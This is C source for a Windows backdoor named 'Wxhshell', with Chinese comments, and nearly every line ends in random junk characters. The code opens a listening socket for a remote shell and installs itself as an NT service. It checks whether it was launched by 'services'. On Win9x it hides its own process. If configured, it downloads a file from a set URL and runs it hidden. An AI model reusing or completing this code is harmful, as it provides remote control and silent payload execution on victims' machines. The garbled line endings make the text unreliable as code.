DWORD ExitStatus; {e\Pd!D?|
DWORD PebBaseAddress; lPx4=O
DWORD AffinityMask; /ts=DxCC;
DWORD BasePriority; 11[[H kX@
ULONG UniqueProcessId; reR ><p
ULONG InheritedFromUniqueProcessId; v".q578
0B
} PROCESS_BASIC_INFORMATION; fft FNHP
JQ=i{ 9iJ
PROCNTQSIP NtQueryInformationProcess; _x&;Fa%
gD10C,{
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; [Oen{c9A
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; %KHO}gad1
8@]*X,umc
HANDLE hProcess; W^npzgDCo
PROCESS_BASIC_INFORMATION pbi; n|2`y?
Z>gxECi
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); aDmyr_f$
if(NULL == hInst ) return 0; 'kb5pl~U
mbB,j~;^6H
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); g\S@@0T{0
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); (DJLq
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); :Rv?>I j
r8g4NsRVtv
if (!NtQueryInformationProcess) return 0; !Ob
%a=K:" oU[
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); >}Qj|05G
if(!hProcess) return 0; Ec
IgX_\
9pUvw_9MY
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; fZ1v|
s7.2EkGl=
CloseHandle(hProcess); .Uq?SmK
b~X^vXIv%%
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); e8g"QDc
if(hProcess==NULL) return 0; )]WWx-Uf'
5I/wP qR[
HMODULE hMod; x2x)y08
char procName[255]; JYuI~<:
unsigned long cbNeeded; E}AOtY5a
VeiJ1=hc
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); JLUG=x(dA
Py7!_TX
CloseHandle(hProcess); t\~lGG-p
i)9}+M5
if(strstr(procName,"services")) return 1; // 以服务启动 BC*vG=a
_nu,ks+
return 0; // 注册表启动 Tlrr02>B{
} IN=pki|.
VH[r@Pn
// 主模块 BCsz8U!
int StartWxhshell(LPSTR lpCmdLine) MJNY#v3
{ d]1%/$v^
SOCKET wsl; 2{;&c
BOOL val=TRUE; J$6h%Eyo
int port=0; AQn>K{M
struct sockaddr_in door; dp`xyBQ3
L[l?}\
if(wscfg.ws_autoins) Install(); rMXIw
%pj6[x`@
port=atoi(lpCmdLine); PN9^ sLx=
u.;zz'|
if(port<=0) port=wscfg.ws_port; ^kZfE"iE2
"<o[X ?u
WSADATA data; M
S
3?#b
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; +Go(yS
:$k':0 n
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; zRTR
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); :#D?b.=
door.sin_family = AF_INET; Vp8t8X1`
door.sin_addr.s_addr = inet_addr("127.0.0.1"); V.zKjoky@
door.sin_port = htons(port); @sQ^6FK0G
+Qy*s1fit
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ~3byAL
closesocket(wsl); &:}e`u@5|
return 1; L9tjHC]
} }OY]mAv-B
H.-jBFt}
if(listen(wsl,2) == INVALID_SOCKET) { ~RcI+jR)
closesocket(wsl); 1'ne[@i^/
return 1; sX&.8
} 0dS}pd">k
Wxhshell(wsl); .5Y%I;~v
WSACleanup(); EvZ;i^.8LS
*9:oTN
return 0; LhM{LUi
l`lo5:w
} KrOoxrDcp
dw
%aoe
// 以NT服务方式启动 d:/8P985
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) W: Rs 0O
{ @L^Fz$Sx
DWORD status = 0; .d<
+-w2Mu
DWORD specificError = 0xfffffff; <viIpz2jh%
u@|izRk
serviceStatus.dwServiceType = SERVICE_WIN32; aE}1~`
serviceStatus.dwCurrentState = SERVICE_START_PENDING; u\YH,
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE;
!sda6?&
serviceStatus.dwWin32ExitCode = 0; }e3M5LI1L
serviceStatus.dwServiceSpecificExitCode = 0; .C^1.)
serviceStatus.dwCheckPoint = 0; &`>[4D*
serviceStatus.dwWaitHint = 0; kPwgayz
:}d`$2Dz
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); J ytY6HF
if (hServiceStatusHandle==0) return; .qVz rS
OJd!g/V
status = GetLastError(); 6BIP;, M=
if (status!=NO_ERROR) Xx{ho4qq
{ wX}N===
serviceStatus.dwCurrentState = SERVICE_STOPPED; >)ZX
serviceStatus.dwCheckPoint = 0; =`2nv0%2
serviceStatus.dwWaitHint = 0; CU=}]Y
serviceStatus.dwWin32ExitCode = status; TR!^wB<F
serviceStatus.dwServiceSpecificExitCode = specificError; 1);$#Dlt
k
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 7q bGA K
return; b *IJ +
} B{|g+c%
/CpUq;^
serviceStatus.dwCurrentState = SERVICE_RUNNING; X!5N2x
serviceStatus.dwCheckPoint = 0; b i^h&H
serviceStatus.dwWaitHint = 0; _`lj
3Lm0>
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); u2HkAPhD
} pAS!;t=n,
rQiX7
// 处理NT服务事件,比如:启动、停止 EubR]ckB
VOID WINAPI NTServiceHandler(DWORD fdwControl) SNP.n))
{ d_9Fc"C~
switch(fdwControl) Hj
]$
{ v +-f
pl&
case SERVICE_CONTROL_STOP: U$a Eby.
serviceStatus.dwWin32ExitCode = 0; SsA;T5:6
serviceStatus.dwCurrentState = SERVICE_STOPPED; G yZYP\'S+
serviceStatus.dwCheckPoint = 0; x_1JQDE
serviceStatus.dwWaitHint = 0; }*Qd]\fy
{ tq=1C=h
SetServiceStatus(hServiceStatusHandle, &serviceStatus); dDH+`;$.
} F\1nc"K/(
return; f])?Gw
case SERVICE_CONTROL_PAUSE: 1lyJ;6i6L
serviceStatus.dwCurrentState = SERVICE_PAUSED; ^q6H
=Dl
break; OJE<2:K
case SERVICE_CONTROL_CONTINUE: :PtpIVAosg
serviceStatus.dwCurrentState = SERVICE_RUNNING; ^}; 4r
break; 0?uX}8w
case SERVICE_CONTROL_INTERROGATE: k5G(7Ug=g~
break; .d`+#1Ot(
}; ${'gyD
SetServiceStatus(hServiceStatusHandle, &serviceStatus); Cpaeo0Oq
} Vzy]N6QT{
?7-#iC`
// 标准应用程序主函数 pM~Xh ]/
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) A2'
{ PpMZ-f@
'|^LNAx
// 获取操作系统版本 dJ\6m!Mp
OsIsNt=GetOsVer(); A9PXu\%y
GetModuleFileName(NULL,ExeFile,MAX_PATH); q0WW^jwQ
)gdv!
// 从命令行安装 FzmCS@yA
if(strpbrk(lpCmdLine,"iI")) Install(); k*|dX.C:
2rHw5Wn]~
// 下载执行文件 Wu)ATs}
if(wscfg.ws_downexe) { Sp)KtMV
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) FD(zj ^*
WinExec(wscfg.ws_filenam,SW_HIDE); 6QdNGpN
} O%v(~&OSl
^)N[x''a
if(!OsIsNt) { ^&<~6y}U^
// 如果时win9x,隐藏进程并且设置为注册表启动 .;WJ(kB\U
HideProc(); (ohkM`83k
StartWxhshell(lpCmdLine); THHrGvb
} 3(P^PP8
else 475yX-A
if(StartFromService())
N>`+{
// 以服务方式启动 "M6a_rZ2W
StartServiceCtrlDispatcher(DispatchTable); IWu^a w
else i]GBu
// 普通方式启动 !s,<hU#
StartWxhshell(lpCmdLine); c5P52_@
c?)
pn9
return 0; 6A M,1
}